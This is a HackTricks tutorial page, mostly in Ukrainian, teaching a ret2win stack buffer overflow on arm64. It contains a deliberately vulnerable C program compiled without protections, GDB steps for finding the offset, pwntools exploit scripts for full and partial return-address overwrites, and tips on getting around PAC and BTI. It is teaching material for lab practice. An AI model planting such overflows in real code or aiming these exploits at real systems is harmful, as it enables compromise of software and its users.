Ret2win - arm64

Reading time: 7 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Вступ до arm64 можна знайти в:

Introduction to ARM64v8

Код

c
#include <stdio.h>
#include <unistd.h>

void win() {
printf("Congratulations!\n");
}

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Скомпілюйте без pie та canary:

bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
  • Додатковий прапорець -mbranch-protection=none вимикає AArch64 Branch Protection (PAC/BTI). Якщо ваш toolchain за замовчуванням вмикає PAC або BTI, це забезпечує відтворюваність лабораторії. Щоб перевірити, чи скомпільований бінар використовує PAC/BTI, ви можете:
  • Шукати AArch64 GNU properties:
  • readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
  • Переглянути прологі/епілогі на наявність paciasp/autiasp (PAC) або посадочних ділянок bti c (BTI):
  • objdump -d ret2win | head -n 40

Короткі факти про AArch64 calling convention

  • Регістр зв'язку — x30 (також lr), і функції зазвичай зберігають x29/x30 за допомогою stp x29, x30, [sp, #-16]! та відновлюють їх через ldp x29, x30, [sp], #16; ret.
  • Це означає, що збережена адреса повернення знаходиться за sp+8 відносно бази фрейму. Якщо char buffer[64] розташований нижче, звичайна відстань перезапису до збереженого x30 становить 64 (buffer) + 8 (збережений x29) = 72 байти — саме це ми знайдемо нижче.
  • Вказівник стеку має залишатися вирівняним по 16 байтах на межах функцій. Якщо ви пізніше будете будувати ROP chains для складніших сценаріїв, зберігайте вирівнювання SP, інакше можна отримати крах під час епілогів функцій.

Знаходження офсету

Варіант pattern

Цей приклад створено з використанням GEF:

Запустіть gdb з gef, створіть pattern та використайте його:

bash
gdb -q ./ret2win
pattern create 200
run

arm64 спробує повернутися до адреси у регістрі x30 (який був скомпрометований), ми можемо використати це, щоб знайти pattern offset:

bash
pattern search $x30

Значення offset — 72 (9x48).

Stack offset option

Почніть з отримання адреси stack, де зберігається pc register:

bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame

Тепер встановіть breakpoint після read(), продовжте виконання (continue) до виклику read() і встановіть шаблон, наприклад 13371337:

b *vulnerable_function+28
c

Знайдіть, де цей шаблон зберігається в пам'яті:

Тоді: 0xfffffffff148 - 0xfffffffff100 = 0x48 = 72

Без PIE

Звичайний

Отримайте адресу функції win:

bash
objdump -d ret2win | grep win
ret2win:     file format elf64-littleaarch64
00000000004006c4 <win>:

Exploit:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Optional but nice for AArch64
context.arch = 'aarch64'

# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Off-by-1

Насправді це буде скоріше off-by-2 у збереженому PC у stack. Замість того, щоб перезаписати всю return address, ми перезапишемо лише останні 2 байти значення 0x06c4.

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Ви можете знайти ще один приклад off-by-one для ARM64 за адресою https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/, який є реальним off-by-one у вигаданій вразливості.

З PIE

tip

Скомпілюйте бінарний файл без аргументу -no-pie

Off-by-2

Без leak ми не знаємо точної адреси win function, але можемо знати offset функції від binary і, знаючи, що return address, який ми перезаписуємо, вже вказує на близьку адресу, у цьому випадку можливо leak офсет до win function (0x7d4) і просто використати цей offset:

python
from pwn import *

# Configuration
binary_name = './ret2win'
p = process(binary_name)

# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr

# Send the payload
p.send(payload)

# Check response
print(p.recvline())
p.close()

Примітки щодо сучасного зміцнення AArch64 (PAC/BTI) та ret2win

  • Якщо бінарник скомпільовано з AArch64 Branch Protection, ви можете побачити paciasp/autiasp або bti c, які вставляються в прологах/епілогах функцій. У такому випадку:
  • Повернення за адресою, що не є дійсним BTI landing pad, може викликати SIGILL. Краще орієнтуватися на точний початок функції, що містить bti c.
  • Якщо PAC увімкнено для повернень, наївне перезаписування адреси повернення може не спрацювати, бо епілог автентифікує x30. Для навчальних сценаріїв перебудуйте з -mbranch-protection=none (вказано вище). При атаках на реальні цілі віддавайте перевагу non‑return hijacks (e.g., function pointer overwrites) або створюйте ROP, який ніколи не виконує пару autiasp/ret, що автентифікує ваш підроблений LR.
  • Щоб швидко перевірити можливості:
  • readelf --notes -W ./ret2win і шукайте примітки AARCH64_FEATURE_1_BTI / AARCH64_FEATURE_1_PAC.
  • objdump -d ./ret2win | head -n 40 і дивіться на bti c, paciasp, autiasp.

Running on non‑ARM64 hosts (qemu‑user quick tip)

If you are on x86_64 but want to practice AArch64:

bash
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross

# Run the binary with the AArch64 loader environment
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win

# Debug with GDB (qemu-user gdbstub)
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
# In another terminal
gdb-multiarch ./ret2win -ex 'target remote :1234'

Пов'язані сторінки HackTricks

Ret2syscall - ARM64

Ret2lib + Printf leak - arm64

Джерела

  • Увімкнення PAC і BTI на AArch64 для Linux (Arm Community, Nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
  • Стандарт виклику процедур для 64-розрядної архітектури Arm (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks